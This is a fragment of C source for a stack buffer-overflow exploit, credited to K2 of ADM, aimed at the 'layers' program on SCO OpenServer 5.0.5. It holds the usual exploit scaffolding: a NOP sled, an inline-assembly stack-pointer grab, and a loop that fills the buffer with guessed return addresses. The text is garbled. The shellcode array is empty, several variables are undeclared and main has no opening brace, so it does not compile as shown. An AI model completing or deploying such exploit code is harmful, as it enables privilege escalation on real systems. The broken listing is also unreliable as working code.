| /* Copyright (c) 2000 ADM */ /* All Rights Reserved */ /* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */ /* The copyright notice above does not evidence any */ /* actual or intended publication of such source code. */ /* */ /* Title: SCO OpenServer layers */ /* Tested under: SCO OpenServer 5.0.5 */ /* By: K2 */ /* Use: gcc -o layers sco-layers.c */ /* */ #include <unistd.h> char shell[] = #define SIZE 10000 const char x86_nop=0x90; long get_esp() { __asm__("movl %esp,%eax"); } int main (int argc, char *argv[]) esp = get_esp(); memset(buffer, x86_nop, SIZE); for (i = nop+strlen(shell); i < SIZE-4; i += 4) { printf("offset = [0x%x]\n",esp+offset); |